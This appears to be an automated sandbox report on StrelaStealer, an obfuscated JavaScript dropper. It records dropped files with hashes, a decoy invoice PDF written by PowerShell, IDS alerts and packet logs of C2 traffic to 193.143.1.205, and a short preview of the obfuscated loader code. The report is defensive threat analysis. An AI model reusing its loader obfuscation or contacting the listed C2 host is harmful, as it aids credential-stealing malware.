Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e26b5fa5-7825-4e5c-9bb6-e8f3aa4751f3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P6q21YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+E+Tegs6lTJJJJv+9U0:O3P121YS8lkipdjMMNB1Dofjwegf1JJg
MD5:	3FE8C90CED12A85BE3405E4F559853EC
SHA1:	62A94E6CF82C64D47438B880E3FDCFD239885CE8
SHA-256:	B9F2E1E74913150485148428B7F9471064DE3AB9010604C1F1289C27CD16931B
SHA-512:	9449494F88EED7AD6F7CCB502B8FBFFA561EA088DB9E5AF2B6AF69F9208BCFF8626255827C333FEE20304C9FE35934FAD03DD0F52413112203F82E0A956B79C5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17169), with CRLF line terminators
Entropy (8bit):	4.885967302053986
TrID:
File name:	7003183412181430311.js
File size:	20'587 bytes
MD5:	44f8ae7bbc0073f8e9f9a32fd58196aa
SHA1:	c6eca35e9fe1152452e29024599c513ceeac7f52
SHA256:	7b88533f1c902d869f5a2cce7332900856cd53ac74695c766509f94982b41cd4
SHA512:	63482b1e5aed28a774368cbd1976568e68f9b052f2b070d05462d27bc7b5288a102d7306c8d3e2817345742d461baae948eb226abca6a66f297a45d00cd3b893
SSDEEP:	384:+nQqwqJv7Jmm+77K/E3WcNw//P89uc26WB+w9bQxk82PPPULUt8kkuCaJx3r8Bej:+QqwqJv7Jmm+77K/E3WcNw//P89uc26k
TLSH:	BF927642A965D7E3D0E45FAD7A5300F7059B030D4D3C715FA64460C62908EA7AAFBCBE
File Content Preview:	function uctuced(){wxkgbbva=[1031,3079,5127,4103,2055,3072];var wvjswmq=this[tgyvr+kvbwcch+luddts+vdlch+kgfyankw+btyoqvcvt+gsbqxita+xovkzxo](this[nxehpxsne+lribkf+krexk+luddts+fywkmhdz+tgyvr+xovkzxo][uobswpeyj+luddts+kgfyankw+kvbwcch+xovkzxo+kgfyankw+mmlj

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:02:28.593208+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:02:28.593208+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:02:30.845789+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:02:27.778254986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:27.783200979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:27.783298016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:27.786076069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:27.790843964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593091011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593141079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593177080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593209982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593208075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.593245029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593277931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593281031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.593312025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593324900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.593346119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593380928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593394995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.593416929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.593467951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.598347902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.642652988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.644260883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.644301891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.644352913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.714637995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.714660883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.714715958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.714804888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.714821100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.714863062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.719340086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.719369888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.719408989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.719532967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.719549894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.719594955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.724042892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.724060059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.724096060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.724257946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.724275112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.724288940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.724318027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.728770018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.728787899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.728816032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.728959084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.728976011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.729001045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.733521938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.733539104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.733566046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.733623028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.733642101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.733654976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.733669043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.733695030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.776212931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.808204889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.808222055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.808252096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.808280945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.808315992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.812879086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.836788893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.836807966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.836823940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.836842060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.836844921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.836858988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.836889029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.836934090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.837076902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.837116003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.837156057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.837332010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.837347031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.837372065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.837385893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.837392092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.837403059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.837434053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.838219881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.838244915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.838260889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.838268042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.838275909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.838293076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.838306904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.838340044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.839113951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839131117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839148045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839163065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839179039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.839179993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839215994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.839838028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839853048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839879036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839891911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.839894056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839909077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.839936018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.839957952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.840722084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.840754986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.840773106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.840787888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.840801954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.840804100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.840903044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.841530085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.841550112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.841564894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.841576099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.841604948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.841613054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.841629028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.841681004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.842438936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.842458010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.842483997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.842499018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.842504025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.842515945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.842546940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.843260050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.843308926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.867206097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.867224932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.867239952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.867270947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.899122953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.899190903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.929826975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.929846048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.929894924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.929912090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.929912090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.929929972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.929945946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.929995060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.930021048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958406925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958430052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958446980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958462000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958478928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958524942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958530903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958540916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958556890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958565950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958589077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958611965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958734989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958760023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958776951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958791018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958802938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958807945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958823919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958839893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958851099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958854914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.958872080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.958901882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959033012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959049940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959064960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959093094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959106922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959122896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959141016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959156036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959156990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959175110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959191084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959224939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959367037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959383965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959399939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959436893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959455967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959472895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959490061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959515095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959516048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959532976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959533930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959551096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959582090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959588051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959604025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959618092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959634066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959641933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959650993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959660053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.959666967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.959712029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960124016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960139990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960156918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960180044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960181952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960199118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960215092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960217953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960230112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960259914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960282087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960339069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960369110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960385084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960402012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960417032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960424900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960441113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960449934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960458994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960475922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960494041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960494995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960510015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960526943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.960534096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.960556030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.963433981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963452101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963469028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963485003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963500023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.963500977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963519096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963521004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.963555098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:28.963675976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963691950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963707924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963722944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:28.963726997 CET	49730	80	192.168.2.4	193.143.1.205
